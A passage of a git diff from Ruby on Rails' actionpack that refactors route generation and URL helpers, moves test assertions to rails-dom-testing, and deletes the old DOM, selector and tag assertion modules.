+          # And an instance method _routes. Note that
+          # UrlFor (included in this module) add extra
+          # conveniences for working with @_routes.
+          define_method(:_routes) { @_routes || routes }
+
+          define_method(:_generate_paths_by_default) do
+            supports_path
+          end
+
+          private :_generate_paths_by_default
         end
       end
 
@@ -438,16 +490,19 @@ module ActionDispatch
             "http://guides.rubyonrails.org/routing.html#restricting-the-routes-created"
         end
 
-        path = build_path(conditions.delete(:path_info), requirements, SEPARATORS, anchor)
-        conditions = build_conditions(conditions, path.names.map { |x| x.to_sym })
+        path = conditions.delete :path_info
+        ast  = conditions.delete :parsed_path_info
+        path = build_path(path, ast, requirements, anchor)
+        conditions = build_conditions(conditions, path.names.map(&:to_sym))
 
         route = @set.add_route(app, path, conditions, defaults, name)
         named_routes[name] = route if name
         route
       end
 
-      def build_path(path, requirements, separators, anchor)
+      def build_path(path, ast, requirements, anchor)
         strexp = Journey::Router::Strexp.new(
+            ast,
             path,
             requirements,
             SEPARATORS,
@@ -495,12 +550,12 @@ module ActionDispatch
       end
       private :build_conditions
 
-      class Generator #:nodoc:
+      class Generator
         PARAMETERIZE = lambda do |name, value|
           if name == :controller
             value
           elsif value.is_a?(Array)
-            value.map { |v| v.to_param }.join('/')
+            value.map(&:to_param).join('/')
           elsif param = value.to_param
             param
           end
@@ -508,17 +563,18 @@ module ActionDispatch
 
         attr_reader :options, :recall, :set, :named_route
 
-        def initialize(options, recall, set)
-          @named_route = options.delete(:use_route)
+        def initialize(named_route, options, recall, set)
+          @named_route = named_route
           @options     = options.dup
           @recall      = recall.dup
           @set         = set
 
+          normalize_recall!
           normalize_options!
           normalize_controller_action_id!
           use_relative_controller!
           normalize_controller!
-          handle_nil_action!
+          normalize_action!
         end
 
         def controller
@@ -537,6 +593,11 @@ module ActionDispatch
           end
         end
 
+        # Set 'index' as default action for recall
+        def normalize_recall!
+          @recall[:action] ||= 'index'
+        end
+
         def normalize_options!
           # If an explicit :controller was given, always make :action explicit
           # too, so that action expiry works as expected for things like
@@ -552,8 +613,8 @@ module ActionDispatch
             options[:controller]   = options[:controller].to_s
           end
 
-          if options[:action]
-            options[:action] = options[:action].to_s
+          if options.key?(:action)
+            options[:action] = (options[:action] || 'index').to_s
           end
         end
 
@@ -563,8 +624,6 @@ module ActionDispatch
         # :controller, :action or :id is not found, don't pull any
         # more keys from the recall.
         def normalize_controller_action_id!
-          @recall[:action] ||= 'index' if current_controller
-
           use_recall_for(:controller) or return
           use_recall_for(:action) or return
           use_recall_for(:id)
@@ -586,19 +645,17 @@ module ActionDispatch
           @options[:controller] = controller.sub(%r{^/}, '') if controller
         end
 
-        # This handles the case of action: nil being explicitly passed.
-        # It is identical to action: "index"
-        def handle_nil_action!
-          if options.has_key?(:action) && options[:action].nil?
-            options[:action] = 'index'
+        # Move 'index' action from options to recall
+        def normalize_action!
+          if @options[:action] == 'index'
+            @recall[:action] = @options.delete(:action)
           end
-          recall[:action] = options.delete(:action) if options[:action] == 'index'
         end
 
         # Generates a path from routes, returns [path, params].
         # If no route is generated the formatter will raise ActionController::UrlGenerationError
         def generate
-          @set.formatter.generate(:path_info, named_route, options, recall, PARAMETERIZE)
+          @set.formatter.generate(named_route, options, recall, PARAMETERIZE)
         end
 
         def different_controller?
@@ -623,61 +680,74 @@ module ActionDispatch
       end
 
       def generate_extras(options, recall={})
-        path, params = generate(options, recall)
+        route_key = options.delete :use_route
+        path, params = generate(route_key, options, recall)
         return path, params.keys
       end
 
-      def generate(options, recall = {})
-        Generator.new(options, recall, self).generate
+      def generate(route_key, options, recall = {})
+        Generator.new(route_key, options, recall, self).generate
       end
+      private :generate
 
       RESERVED_OPTIONS = [:host, :protocol, :port, :subdomain, :domain, :tld_length,
                           :trailing_slash, :anchor, :params, :only_path, :script_name,
                           :original_script_name]
 
-      def mounted?
-        false
+      def optimize_routes_generation?
+        default_url_options.empty?
       end
 
-      def optimize_routes_generation?
-        !mounted? && default_url_options.empty?
+      def find_script_name(options)
+        options.delete(:script_name) || ''
       end
 
-      def _generate_prefix(options = {})
-        nil
+      def path_for(options, route_name = nil)
+        url_for(options, route_name, PATH)
       end
 
-      # The +options+ argument must be +nil+ or a hash whose keys are *symbols*.
-      def url_for(options)
-        options = default_url_options.merge(options || {})
+      # The +options+ argument must be a hash whose keys are *symbols*.
+      def url_for(options, route_name = nil, url_strategy = UNKNOWN)
+        options = default_url_options.merge options
 
-        user, password = extract_authentication(options)
-        recall  = options.delete(:_recall)
+        user = password = nil
 
-        original_script_name = options.delete(:original_script_name).presence
-        script_name = options.delete(:script_name).presence || _generate_prefix(options)
+        if options[:user] && options[:password]
+          user     = options.delete :user
+          password = options.delete :password
+        end
+
+        recall  = options.delete(:_recall) { {} }
 
-        if script_name && original_script_name
+        original_script_name = options.delete(:original_script_name)
+        script_name = find_script_name options
+
+        if original_script_name
           script_name = original_script_name + script_name
         end
 
-        path_options = options.except(*RESERVED_OPTIONS)
-        path_options = yield(path_options) if block_given?
+        path_options = options.dup
+        RESERVED_OPTIONS.each { |ro| path_options.delete ro }
+
+        path, params = generate(route_name, path_options, recall)
 
-        path, params = generate(path_options, recall || {})
-        params.merge!(options[:params] || {})
+        if options.key? :params
+          params.merge! options[:params]
+        end
+
+        options[:path]        = path
+        options[:script_name] = script_name
+        options[:params]      = params
+        options[:user]        = user
+        options[:password]    = password
 
-        ActionDispatch::Http::URL.url_for(options.merge!({
-          :path => path,
-          :script_name => script_name,
-          :params => params,
-          :user => user,
-          :password => password
-        }))
+        url_strategy.call options
       end
 
       def call(env)
-        @router.call(env)
+        req = request_class.new(env)
+        req.path_info = Journey::Router::Utils.normalize_path(req.path_info)
+        @router.serve(req)
       end
 
       def recognize_path(path, environment = {})
@@ -691,8 +761,8 @@ module ActionDispatch
           raise ActionController::RoutingError, e.message
         end
 
-        req = @request_class.new(env)
-        @router.recognize(req) do |route, _matches, params|
+        req = request_class.new(env)
+        @router.recognize(req) do |route, params|
           params.merge!(extras)
           params.each do |key, value|
             if value.is_a?(String)
@@ -700,14 +770,12 @@ module ActionDispatch
               params[key] = URI.parser.unescape(value)
             end
           end
-          old_params = env[::ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
-          env[::ActionDispatch::Routing::RouteSet::PARAMETERS_KEY] = (old_params || {}).merge(params)
-          dispatcher = route.app
-          while dispatcher.is_a?(Mapper::Constraints) && dispatcher.matches?(env) do
-            dispatcher = dispatcher.app
-          end
+          old_params = req.path_parameters
+          req.path_parameters = old_params.merge params
+          app = route.app
+          if app.matches?(req) && app.dispatcher?
+            dispatcher = app.app
 
-          if dispatcher.is_a?(Dispatcher)
             if dispatcher.controller(params, false)
               dispatcher.prepare_params!(params)
               return params
@@ -719,17 +787,7 @@ module ActionDispatch
 
         raise ActionController::RoutingError, "No route matches #{path.inspect}"
       end
-
-      private
-
-        def extract_authentication(options)
-          if options[:user] && options[:password]
-            [options.delete(:user), options.delete(:password)]
-          else
-            nil
-          end
-        end
-
     end
+    # :startdoc:
   end
 end
diff --git a/actionpack/lib/action_dispatch/routing/url_for.rb b/actionpack/lib/action_dispatch/routing/url_for.rb
index 8e19025722..dca86858cc 100644
--- a/actionpack/lib/action_dispatch/routing/url_for.rb
+++ b/actionpack/lib/action_dispatch/routing/url_for.rb
@@ -20,7 +20,7 @@ module ActionDispatch
     #
     #   <%= link_to('Click here', controller: 'users',
     #           action: 'new', message: 'Welcome!') %>
-    #   # => "/users/new?message=Welcome%21"
+    #   # => <a href="/users/new?message=Welcome%21">Click here</a>
     #
     # link_to, and all other functions that require URL generation functionality,
     # actually use ActionController::UrlFor under the hood. And in particular,
@@ -152,19 +152,26 @@ module ActionDispatch
         when nil
           _routes.url_for(url_options.symbolize_keys)
         when Hash
-          _routes.url_for(options.symbolize_keys.reverse_merge!(url_options))
+          route_name = options.delete :use_route
+          _routes.url_for(options.symbolize_keys.reverse_merge!(url_options),
+                         route_name)
         when String
           options
+        when Symbol
+          HelperMethodBuilder.url.handle_string_call self, options
+        when Array
+          polymorphic_url(options, options.extract_options!)
+        when Class
+          HelperMethodBuilder.url.handle_class_call self, options
         else
-          polymorphic_url(options)
+          HelperMethodBuilder.url.handle_model_call self, options
         end
       end
 
       protected
 
       def optimize_routes_generation?
-        return @_optimized_routes if defined?(@_optimized_routes)
-        @_optimized_routes = _routes.optimize_routes_generation? && default_url_options.empty?
+        _routes.optimize_routes_generation? && default_url_options.empty?
       end
 
       def _with_routes(routes)
@@ -177,6 +184,12 @@ module ActionDispatch
       def _routes_context
         self
       end
+
+      private
+
+        def _generate_paths_by_default
+          true
+        end
     end
   end
 end
diff --git a/actionpack/lib/action_dispatch/testing/assertions.rb b/actionpack/lib/action_dispatch/testing/assertions.rb
index 226baf9ad0..f325c35b57 100644
--- a/actionpack/lib/action_dispatch/testing/assertions.rb
+++ b/actionpack/lib/action_dispatch/testing/assertions.rb
@@ -1,18 +1,22 @@
+require 'rails-dom-testing'
+
 module ActionDispatch
   module Assertions
-    autoload :DomAssertions, 'action_dispatch/testing/assertions/dom'
     autoload :ResponseAssertions, 'action_dispatch/testing/assertions/response'
     autoload :RoutingAssertions, 'action_dispatch/testing/assertions/routing'
-    autoload :SelectorAssertions, 'action_dispatch/testing/assertions/selector'
-    autoload :TagAssertions, 'action_dispatch/testing/assertions/tag'
 
     extend ActiveSupport::Concern
 
-    include DomAssertions
     include ResponseAssertions
     include RoutingAssertions
-    include SelectorAssertions
-    include TagAssertions
+    include Rails::Dom::Testing::Assertions
+
+    def html_document
+      @html_document ||= if @response.content_type =~ /xml$/
+        Nokogiri::XML::Document.parse(@response.body)
+      else
+        Nokogiri::HTML::Document.parse(@response.body)
+      end
+    end
   end
 end
-
diff --git a/actionpack/lib/action_dispatch/testing/assertions/dom.rb b/actionpack/lib/action_dispatch/testing/assertions/dom.rb
deleted file mode 100644
index 241a39393a..0000000000
--- a/actionpack/lib/action_dispatch/testing/assertions/dom.rb
+++ /dev/null
@@ -1,27 +0,0 @@
-require 'action_view/vendor/html-scanner'
-
-module ActionDispatch
-  module Assertions
-    module DomAssertions
-      # \Test two HTML strings for equivalency (e.g., identical up to reordering of attributes)
-      #
-      #   # assert that the referenced method generates the appropriate HTML string
-      #   assert_dom_equal '<a href="http://www.example.com">Apples</a>', link_to("Apples", "http://www.example.com")
-      def assert_dom_equal(expected, actual, message = nil)
-        expected_dom = HTML::Document.new(expected).root
-        actual_dom   = HTML::Document.new(actual).root
-        assert_equal expected_dom, actual_dom, message
-      end
-
-      # The negated form of +assert_dom_equivalent+.
-      #
-      #   # assert that the referenced method does not generate the specified HTML string
-      #   assert_dom_not_equal '<a href="http://www.example.com">Apples</a>', link_to("Oranges", "http://www.example.com")
-      def assert_dom_not_equal(expected, actual, message = nil)
-        expected_dom = HTML::Document.new(expected).root
-        actual_dom   = HTML::Document.new(actual).root
-        assert_not_equal expected_dom, actual_dom, message
-      end
-    end
-  end
-end
diff --git a/actionpack/lib/action_dispatch/testing/assertions/response.rb b/actionpack/lib/action_dispatch/testing/assertions/response.rb
index 44ed0ac1f3..13a72220b3 100644
--- a/actionpack/lib/action_dispatch/testing/assertions/response.rb
+++ b/actionpack/lib/action_dispatch/testing/assertions/response.rb
@@ -27,6 +27,9 @@ module ActionDispatch
             assert @response.send("#{type}?"), message
           else
             code = Rack::Utils::SYMBOL_TO_STATUS_CODE[type]
+            if code.nil?
+              raise ArgumentError, "Invalid response type :#{type}"
+            end
             assert_equal code, @response.response_code, message
           end
         else
@@ -67,21 +70,12 @@ module ActionDispatch
         end
 
         def normalize_argument_to_redirection(fragment)
-          normalized = case fragment
-            when Regexp
-              fragment
-            when %r{^\w[A-Za-z\d+.-]*:.*}
-              fragment
-            when String
-              @request.protocol + @request.host_with_port + fragment
-            when :back
-              raise RedirectBackError unless refer = @request.headers["Referer"]
-              refer
-            else
-              @controller.url_for(fragment)
-            end
-
-          normalized.respond_to?(:delete) ? normalized.delete("\0\r\n") : normalized
+          if Regexp === fragment
+            fragment
+          else
+            handle = @controller || ActionController::Redirecting
+            handle._compute_redirect_to_location(@request, fragment)
+          end
         end
     end
   end
diff --git a/actionpack/lib/action_dispatch/testing/assertions/routing.rb b/actionpack/lib/action_dispatch/testing/assertions/routing.rb
index 496682e8bd..a927738b42 100644
--- a/actionpack/lib/action_dispatch/testing/assertions/routing.rb
+++ b/actionpack/lib/action_dispatch/testing/assertions/routing.rb
@@ -38,7 +38,7 @@ module ActionDispatch
       #   # Test a custom route
       #   assert_recognizes({controller: 'items', action: 'show', id: '1'}, 'view/item1')
       def assert_recognizes(expected_options, path, extras={}, msg=nil)
-        request = recognized_request_for(path, extras)
+        request = recognized_request_for(path, extras, msg)
 
         expected_options = expected_options.clone
 
@@ -69,9 +69,9 @@ module ActionDispatch
       #
       #   # Asserts that the generated route gives us our custom route
       #   assert_generates "changesets/12", { controller: 'scm', action: 'show_diff', revision: "12" }
-      def assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)
+      def assert_generates(expected_path, options, defaults={}, extras={}, message=nil)
         if expected_path =~ %r{://}
-          fail_on(URI::InvalidURIError) do
+          fail_on(URI::InvalidURIError, message) do
             uri = URI.parse(expected_path)
             expected_path = uri.path.to_s.empty? ? "/" : uri.path
           end
@@ -144,13 +144,7 @@ module ActionDispatch
           old_controller, @controller = @controller, @controller.clone
           _routes = @routes
 
-          # Unfortunately, there is currently an abstraction leak between AC::Base
-          # and AV::Base which requires having the URL helpers in both AC and AV.
-          # To do this safely at runtime for tests, we need to bump up the helper serial
-          # to that the old AV subclass isn't cached.
-          #
-          # TODO: Make this unnecessary
-          @controller.singleton_class.send(:include, _routes.url_helpers)
+          @controller.singleton_class.include(_routes.url_helpers)
           @controller.view_context_class = Class.new(@controller.view_context_class) do
             include _routes.url_helpers
           end
@@ -165,7 +159,7 @@ module ActionDispatch
 
       # ROUTES TODO: These assertions should really work in an integration context
       def method_missing(selector, *args, &block)
-        if defined?(@controller) && @controller && @routes && @routes.named_routes.helpers.include?(selector)
+        if defined?(@controller) && @controller && @routes && @routes.named_routes.route_defined?(selector)
           @controller.send(selector, *args, &block)
         else
           super
@@ -174,7 +168,7 @@ module ActionDispatch
 
       private
         # Recognizes the route for a given path.
-        def recognized_request_for(path, extras = {})
+        def recognized_request_for(path, extras = {}, msg)
           if path.is_a?(Hash)
             method = path[:method]
             path   = path[:path]
@@ -186,7 +180,7 @@ module ActionDispatch
           request = ActionController::TestRequest.new
 
           if path =~ %r{://}
-            fail_on(URI::InvalidURIError) do
+            fail_on(URI::InvalidURIError, msg) do
               uri = URI.parse(path)
               request.env["rack.url_scheme"] = uri.scheme || "http"
               request.host = uri.host if uri.host
@@ -200,7 +194,7 @@ module ActionDispatch
 
           request.request_method = method if method
 
-          params = fail_on(ActionController::RoutingError) do
+          params = fail_on(ActionController::RoutingError, msg) do
             @routes.recognize_path(path, { :method => method, :extras => extras })
           end
           request.path_parameters = params.with_indifferent_access
@@ -208,10 +202,10 @@ module ActionDispatch
           request
         end
 
-        def fail_on(exception_class)
+        def fail_on(exception_class, message)
           yield
         rescue exception_class => e
-          raise MiniTest::Assertion, e.message
+          raise Minitest::Assertion, message || e.message
         end
     end
   end
diff --git a/actionpack/lib/action_dispatch/testing/assertions/selector.rb b/actionpack/lib/action_dispatch/testing/assertions/selector.rb
deleted file mode 100644
index 3253a3d424..0000000000
--- a/actionpack/lib/action_dispatch/testing/assertions/selector.rb
+++ /dev/null
@@ -1,430 +0,0 @@
-require 'action_view/vendor/html-scanner'
-require 'active_support/core_ext/object/inclusion'
-
-#--
-# Copyright (c) 2006 Assaf Arkin (http://labnotes.org)
-# Under MIT and/or CC By license.
-#++
-
-module ActionDispatch
-  module Assertions
-    NO_STRIP = %w{pre script style textarea}
-
-    # Adds the +assert_select+ method for use in Rails functional
-    # test cases, which can be used to make assertions on the response HTML of a controller
-    # action. You can also call +assert_select+ within another +assert_select+ to
-    # make assertions on elements selected by the enclosing assertion.
-    #
-    # Use +css_select+ to select elements without making an assertions, either
-    # from the response HTML or elements selected by the enclosing assertion.
-    #
-    # In addition to HTML responses, you can make the following assertions:
-    #
-    # * +assert_select_encoded+ - Assertions on HTML encoded inside XML, for example for dealing with feed item descriptions.
-    # * +assert_select_email+ - Assertions on the HTML body of an e-mail.
-    #
-    # Also see HTML::Selector to learn how to use selectors.
-    module SelectorAssertions
-      # Select and return all matching elements.
-      #
-      # If called with a single argument, uses that argument as a selector
-      # to match all elements of the current page. Returns an empty array
-      # if no match is found.
-      #
-      # If called with two arguments, uses the first argument as the base
-      # element and the second argument as the selector. Attempts to match the
-      # base element and any of its children. Returns an empty array if no
-      # match is found.
-      #
-      # The selector may be a CSS selector expression (String), an expression
-      # with substitution values (Array) or an HTML::Selector object.
-      #
-      #   # Selects all div tags
-      #   divs = css_select("div")
-      #
-      #   # Selects all paragraph tags and does something interesting
-      #   pars = css_select("p")
-      #   pars.each do |par|
-      #     # Do something fun with paragraphs here...
-      #   end
-      #
-      #   # Selects all list items in unordered lists
-      #   items = css_select("ul>li")
-      #
-      #   # Selects all form tags and then all inputs inside the form
-      #   forms = css_select("form")
-      #   forms.each do |form|
-      #     inputs = css_select(form, "input")
-      #     ...
-      #   end
-      def css_select(*args)
-        # See assert_select to understand what's going on here.
-        arg = args.shift
-
-        if arg.is_a?(HTML::Node)
-          root = arg
-          arg = args.shift
-        elsif arg == nil
-          raise ArgumentError, "First argument is either selector or element to select, but nil found. Perhaps you called assert_select with an element that does not exist?"
-        elsif defined?(@selected) && @selected
-          matches = []
-
-          @selected.each do |selected|
-            subset = css_select(selected, HTML::Selector.new(arg.dup, args.dup))
-            subset.each do |match|
-              matches << match unless matches.any? { |m| m.equal?(match) }
-            end
-          end
-
-          return matches
-        else
-          root = response_from_page
-        end
-
-        case arg
-          when String
-            selector = HTML::Selector.new(arg, args)
-          when Array
-            selector = HTML::Selector.new(*arg)
-          when HTML::Selector
-            selector = arg
-          else raise ArgumentError, "Expecting a selector as the first argument"
-        end
-
-        selector.select(root)
-      end
-
-      # An assertion that selects elements and makes one or more equality tests.
-      #
-      # If the first argument is an element, selects all matching elements
-      # starting from (and including) that element and all its children in
-      # depth-first order.
-      #
-      # If no element if specified, calling +assert_select+ selects from the
-      # response HTML unless +assert_select+ is called from within an +assert_select+ block.
-      #
-      # When called with a block +assert_select+ passes an array of selected elements
-      # to the block. Calling +assert_select+ from the block, with no element specified,
-      # runs the assertion on the complete set of elements selected by the enclosing assertion.
-      # Alternatively the array may be iterated through so that +assert_select+ can be called
-      # separately for each element.
-      #
-      #
-      # ==== Example
-      # If the response contains two ordered lists, each with four list elements then:
-      #   assert_select "ol" do |elements|
-      #     elements.each do |element|
-      #       assert_select element, "li", 4
-      #     end
-      #   end
-      #
-      # will pass, as will:
-      #   assert_select "ol" do
-      #     assert_select "li", 8
-      #   end
-      #
-      # The selector may be a CSS selector expression (String), an expression
-      # with substitution values, or an HTML::Selector object.
-      #
-      # === Equality Tests
-      #
-      # The equality test may be one of the following:
-      # * <tt>true</tt> - Assertion is true if at least one element selected.
-      # * <tt>false</tt> - Assertion is true if no element selected.
-      # * <tt>String/Regexp</tt> - Assertion is true if the text value of at least
-      #   one element matches the string or regular expression.
-      # * <tt>Integer</tt> - Assertion is true if exactly that number of
-      #   elements are selected.
-      # * <tt>Range</tt> - Assertion is true if the number of selected
-      #   elements fit the range.
-      # If no equality test specified, the assertion is true if at least one
-      # element selected.
-      #
-      # To perform more than one equality tests, use a hash with the following keys:
-      # * <tt>:text</tt> - Narrow the selection to elements that have this text
-      #   value (string or regexp).
-      # * <tt>:html</tt> - Narrow the selection to elements that have this HTML
-      #   content (string or regexp).
-      # * <tt>:count</tt> - Assertion is true if the number of selected elements
-      #   is equal to this value.
-      # * <tt>:minimum</tt> - Assertion is true if the number of selected
-      #   elements is at least this value.
-      # * <tt>:maximum</tt> - Assertion is true if the number of selected
-      #   elements is at most this value.
-      #
-      # If the method is called with a block, once all equality tests are
-      # evaluated the block is called with an array of all matched elements.
-      #
-      #   # At least one form element
-      #   assert_select "form"
-      #
-      #   # Form element includes four input fields
-      #   assert_select "form input", 4
-      #
-      #   # Page title is "Welcome"
-      #   assert_select "title", "Welcome"
-      #
-      #   # Page title is "Welcome" and there is only one title element
-      #   assert_select "title", {count: 1, text: "Welcome"},
-      #       "Wrong title or more than one title element"
-      #
-      #   # Page contains no forms
-      #   assert_select "form", false, "This page must contain no forms"
-      #
-      #   # Test the content and style
-      #   assert_select "body div.header ul.menu"
-      #
-      #   # Use substitution values
-      #   assert_select "ol>li#?", /item-\d+/
-      #
-      #   # All input fields in the form have a name
-      #   assert_select "form input" do
-      #     assert_select "[name=?]", /.+/  # Not empty
-      #   end
-      def assert_select(*args, &block)
-        # Start with optional element followed by mandatory selector.
-        arg = args.shift
-        @selected ||= nil
-
-        if arg.is_a?(HTML::Node)
-          # First argument is a node (tag or text, but also HTML root),
-          # so we know what we're selecting from.
-          root = arg
-          arg = args.shift
-        elsif arg == nil
-          # This usually happens when passing a node/element that
-          # happens to be nil.
-          raise ArgumentError, "First argument is either selector or element to select, but nil found. Perhaps you called assert_select with an element that does not exist?"
-        elsif @selected
-          root = HTML::Node.new(nil)
-          root.children.concat @selected
-        else
-          # Otherwise just operate on the response document.
-          root = response_from_page
-        end
-
-        # First or second argument is the selector: string and we pass
-        # all remaining arguments. Array and we pass the argument. Also
-        # accepts selector itself.
-        case arg
-          when String
-            selector = HTML::Selector.new(arg, args)
-          when Array
-            selector = HTML::Selector.new(*arg)
-          when HTML::Selector
-            selector = arg
-          else raise ArgumentError, "Expecting a selector as the first argument"
-        end
-
-        # Next argument is used for equality tests.
-        equals = {}
-        case arg = args.shift
-          when Hash
-            equals = arg
-          when String, Regexp
-            equals[:text] = arg
-          when Integer
-            equals[:count] = arg
-          when Range
-            equals[:minimum] = arg.begin
-            equals[:maximum] = arg.end
-          when FalseClass
-            equals[:count] = 0
-          when NilClass, TrueClass
-            equals[:minimum] = 1
-          else raise ArgumentError, "I don't understand what you're trying to match"
-        end
-
-        # By default we're looking for at least one match.
-        if equals[:count]
-          equals[:minimum] = equals[:maximum] = equals[:count]
-        else
-          equals[:minimum] = 1 unless equals[:minimum]
-        end
-
-        # Last argument is the message we use if the assertion fails.
-        message = args.shift
-        #- message = "No match made with selector #{selector.inspect}" unless message
-        if args.shift
-          raise ArgumentError, "Not expecting that last argument, you either have too many arguments, or they're the wrong type"
-        end
-
-        matches = selector.select(root)
-        # If text/html, narrow down to those elements that match it.
-        content_mismatch = nil
-        if match_with = equals[:text]
-          matches.delete_if do |match|
-            text = ""
-            stack = match.children.reverse
-            while node = stack.pop
-              if node.tag?
-                stack.concat node.children.reverse
-              else
-                content = node.content
-                text << content
-              end
-            end
-            text.strip! unless NO_STRIP.include?(match.name)
-            text.sub!(/\A\n/, '') if match.name == "textarea"
-            unless match_with.is_a?(Regexp) ? (text =~ match_with) : (text == match_with.to_s)
-              content_mismatch ||= sprintf("<%s> expected but was\n<%s>.", match_with, text)
-              true
-            end
-          end
-        elsif match_with = equals[:html]
-          matches.delete_if do |match|
-            html = match.children.map(&:to_s).join
-            html.strip! unless NO_STRIP.include?(match.name)
-            unless match_with.is_a?(Regexp) ? (html =~ match_with) : (html == match_with.to_s)
-              content_mismatch ||= sprintf("<%s> expected but was\n<%s>.", match_with, html)
-              true
-            end
-          end
-        end
-        # Expecting foo found bar element only if found zero, not if
-        # found one but expecting two.
-        message ||= content_mismatch if matches.empty?
-        # Test minimum/maximum occurrence.
-        min, max, count = equals[:minimum], equals[:maximum], equals[:count]
-
-        # FIXME: minitest provides messaging when we use assert_operator,
-        # so is this custom message really needed?
-        message = message || %(Expected #{count_description(min, max, count)} matching "#{selector.to_s}", found #{matches.size}.)
-        if count
-          assert_equal matches.size, count, message
-        else
-          assert_operator matches.size, :>=, min, message if min
-          assert_operator matches.size, :<=, max, message if max
-        end
-
-        # If a block is given call that block. Set @selected to allow
-        # nested assert_select, which can be nested several levels deep.
-        if block_given? && !matches.empty?
-          begin
-            in_scope, @selected = @selected, matches
-            yield matches
-          ensure
-            @selected = in_scope
-          end
-        end
-
-        # Returns all matches elements.
-        matches
-      end
-
-      def count_description(min, max, count) #:nodoc:
-        pluralize = lambda {|word, quantity| word << (quantity == 1 ? '' : 's')}
-
-        if min && max && (max != min)
-          "between #{min} and #{max} elements"
-        elsif min && max && max == min && count
-          "exactly #{count} #{pluralize['element', min]}"
-        elsif min && !(min == 1 && max == 1)
-          "at least #{min} #{pluralize['element', min]}"
-        elsif max
-          "at most #{max} #{pluralize['element', max]}"
-        end
-      end
-
-      # Extracts the content of an element, treats it as encoded HTML and runs
-      # nested assertion on it.
-      #
-      # You typically call this method within another assertion to operate on
-      # all currently selected elements. You can also pass an element or array
-      # of elements.
-      #
-      # The content of each element is un-encoded, and wrapped in the root
-      # element +encoded+. It then calls the block with all un-encoded elements.
-      #
-      #   # Selects all bold tags from within the title of an Atom feed's entries (perhaps to nab a section name prefix)
-      #   assert_select "feed[xmlns='http://www.w3.org/2005/Atom']" do
-      #     # Select each entry item and then the title item
-      #     assert_select "entry>title" do
-      #       # Run assertions on the encoded title elements
-      #       assert_select_encoded do
-      #         assert_select "b"
-      #       end
-      #     end
-      #   end
-      #
-      #
-      #   # Selects all paragraph tags from within the description of an RSS feed
-      #   assert_select "rss[version=2.0]" do
-      #     # Select description element of each feed item.
-      #     assert_select "channel>item>description" do
-      #       # Run assertions on the encoded elements.
-      #       assert_select_encoded do
-      #         assert_select "p"
-      #       end
-      #     end
-      #   end
-      def assert_select_encoded(element = nil, &block)
-        case element
-          when Array
-            elements = element
-          when HTML::Node
-            elements = [element]
-          when nil
-            unless elements = @selected
-              raise ArgumentError, "First argument is optional, but must be called from a nested assert_select"
-            end
-          else
-            raise ArgumentError, "Argument is optional, and may be node or array of nodes"
-        end
-
-        fix_content = lambda do |node|
-          # Gets around a bug in the Rails 1.1 HTML parser.
-          node.content.gsub(/<!\[CDATA\[(.*)(\]\]>)?/m) { Rack::Utils.escapeHTML($1) }
-        end
-
-        selected = elements.map do |elem|
-          text = elem.children.select{ |c| not c.tag? }.map{ |c| fix_content[c] }.join
-          root = HTML::Document.new(CGI.unescapeHTML("<encoded>#{text}</encoded>")).root
-          css_select(root, "encoded:root", &block)[0]
-        end
-
-        begin
-          old_selected, @selected = @selected, selected
-          assert_select ":root", &block
-        ensure
-          @selected = old_selected
-        end
-      end
-
-      # Extracts the body of an email and runs nested assertions on it.
-      #
-      # You must enable deliveries for this assertion to work, use:
-      #   ActionMailer::Base.perform_deliveries = true
-      #
-      #  assert_select_email do
-      #    assert_select "h1", "Email alert"
-      #  end
-      #
-      #  assert_select_email do
-      #    items = assert_select "ol>li"
-      #    items.each do
-      #       # Work with items here...
-      #    end
-      #  end
-      def assert_select_email(&block)
-        deliveries = ActionMailer::Base.deliveries
-        assert !deliveries.empty?, "No e-mail in delivery list"
-
-        deliveries.each do |delivery|
-          (delivery.parts.empty? ? [delivery] : delivery.parts).each do |part|
-            if part["Content-Type"].to_s =~ /^text\/html\W/
-              root = HTML::Document.new(part.body.to_s).root
-              assert_select root, ":root", &block
-            end
-          end
-        end
-      end
-
-      protected
-        # +assert_select+ and +css_select+ call this to obtain the content in the HTML page.
-        def response_from_page
-          html_document.root
-        end
-    end
-  end
-end
diff --git a/actionpack/lib/action_dispatch/testing/assertions/tag.rb b/actionpack/lib/action_dispatch/testing/assertions/tag.rb
deleted file mode 100644
index e5fe30ba82..0000000000
--- a/actionpack/lib/action_dispatch/testing/assertions/tag.rb
+++ /dev/null
@@ -1,135 +0,0 @@
-require 'action_view/vendor/html-scanner'
-
-module ActionDispatch
-  module Assertions
-    # Pair of assertions to testing elements in the HTML output of the response.
-    module TagAssertions
-      # Asserts that there is a tag/node/element in the body of the response
-      # that meets all of the given conditions. The +conditions+ parameter must
-      # be a hash of any of the following keys (all are optional):
-      #
-      # * <tt>:tag</tt>: the node type must match the corresponding value
-      # * <tt>:attributes</tt>: a hash. The node's attributes must match the
-      #   corresponding values in the hash.
-      # * <tt>:parent</tt>: a hash. The node's parent must match the
-      #   corresponding hash.
-      # * <tt>:child</tt>: a hash. At least one of the node's immediate children
-      #   must meet the criteria described by the hash.
-      # * <tt>:ancestor</tt>: a hash. At least one of the node's ancestors must
-      #   meet the criteria described by the hash.
-      # * <tt>:descendant</tt>: a hash. At least one of the node's descendants
-      #   must meet the criteria described by the hash.
-      # * <tt>:sibling</tt>: a hash. At least one of the node's siblings must
-      #   meet the criteria described by the hash.
-      # * <tt>:after</tt>: a hash. The node must be after any sibling meeting
-      #   the criteria described by the hash, and at least one sibling must match.
-      # * <tt>:before</tt>: a hash. The node must be before any sibling meeting
-      #   the criteria described by the hash, and at least one sibling must match.
-      # * <tt>:children</tt>: a hash, for counting children of a node. Accepts
-      #   the keys:
-      #   * <tt>:count</tt>: either a number or a range which must equal (or
-      #     include) the number of children that match.
-      #   * <tt>:less_than</tt>: the number of matching children must be less
-      #     than this number.
-      #   * <tt>:greater_than</tt>: the number of matching children must be
-      #     greater than this number.
-      #   * <tt>:only</tt>: another hash consisting of the keys to use
-      #     to match on the children, and only matching children will be
-      #     counted.
-      # * <tt>:content</tt>: the textual content of the node must match the
-      #   given value. This will not match HTML tags in the body of a
-      #   tag--only text.
-      #
-      # Conditions are matched using the following algorithm:
-      #
-      # * if the condition is a string, it must be a substring of the value.
-      # * if the condition is a regexp, it must match the value.
-      # * if the condition is a number, the value must match number.to_s.
-      # * if the condition is +true+, the value must not be +nil+.
-      # * if the condition is +false+ or +nil+, the value must be +nil+.
-      #
-      #   # Assert that there is a "span" tag
-      #   assert_tag tag: "span"
-      #
-      #   # Assert that there is a "span" tag with id="x"
